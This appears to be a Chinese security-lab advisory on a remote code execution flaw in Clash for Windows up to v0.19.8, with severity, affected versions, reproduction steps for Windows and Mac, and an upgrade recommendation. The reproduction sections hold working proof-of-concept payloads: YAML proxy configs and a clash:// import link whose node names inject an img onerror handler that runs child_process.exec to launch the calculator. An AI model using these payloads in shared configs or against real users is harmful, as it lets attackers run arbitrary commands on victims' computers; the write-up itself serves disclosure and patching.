Clash_for_WindowsRCE命令执行(Windows_Mac)

Part1漏洞描述

由于我们使用了clash.for.windows的这款代理软件,这款软件在版本v 0.19.8版本及以下版本,别人可以在节点代码中恶意植入远程执行代码,在我们复制别人节点的时候,clash_for_windows_pkg 将自动下载并切换到它。我们很有可以导致电脑被控制的危害

Part2危害等级

危害等级:高危

Part3漏洞影响

Windows:Clash.for.Windows 版本  <=  v 0.19.8Mac:Clash.for.Windows.app版本  <=  v0.19.8

Part4漏洞复现过程

4.1 windows复现过程

1.下载安装clash for windows v0.19.8    网址为:

根据自己的需求下载

2.单击安装包进行安装,随后打开

3.需要在我们本地创建一个.yaml的文件,代码为下面

port: 7890socks-port: 7891allow-lan: truemode: Rulelog-level: infoexternal-controller: :9090proxies:  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>    type: socks5    server: 127.0.0.1    port: "17938"    skip-cert-verify: true  - name: abc    type: socks5    server: 127.0.0.1    port: "8088"    skip-cert-verify: trueproxy-groups:  -    name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>    type: select    proxies:    - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>

这是我创建的一个2.yaml

4.在Clash.for.Windows里面的Profiles选择导入我们刚刚的2.yaml

5.之后再Proxies中会看到添加进来了

6.随后进行切换节点,之后我们代码里面的调出计算器就成功执行了

成功弹出计算器

4.2  mac上测试

1、安装clash 0.19.8

2、第一种方式:在Profiles里直接导入访问链接

clash://install-config?url=http%3A%2F%2F127.0.0.1%3A8888%2F1.txt&name=a<img/src="1"/onerror=eval(`require("child_process").exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");`);>

报错时,回显解析了img标签导致js事件被执行。

3、第二种方式:创建一个节点配置文件

port: 7890socks-port: 7891allow-lan: truemode: Rulelog-level: infoexternal-controller: :9090proxies:  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");`);>    type: socks5    server: 127.0.0.1    port: "17938"    skip-cert-verify: true  - name: abc    type: socks5    server: 127.0.0.1    port: "8088"    skip-cert-verify: trueproxy-groups:  -    name: <img/src="1"/onerror=eval(`require("child_process").exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");`);>    type: select    proxies:    - a<img/src="1"/onerror=eval(`require("child_process").exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");`);>

4、点击import导入配置文件

5、选择配置文件,刷新节点

注意:在mac上存在漏洞的是clash,不是clashX

Part5修复建议

建议受影响的用户及时更新升级到最新版本。检查导入的配置文件是否包含恶意代码。

链接:

“D&X 安全实验室”专注渗透测试技术全球最新网络攻击技术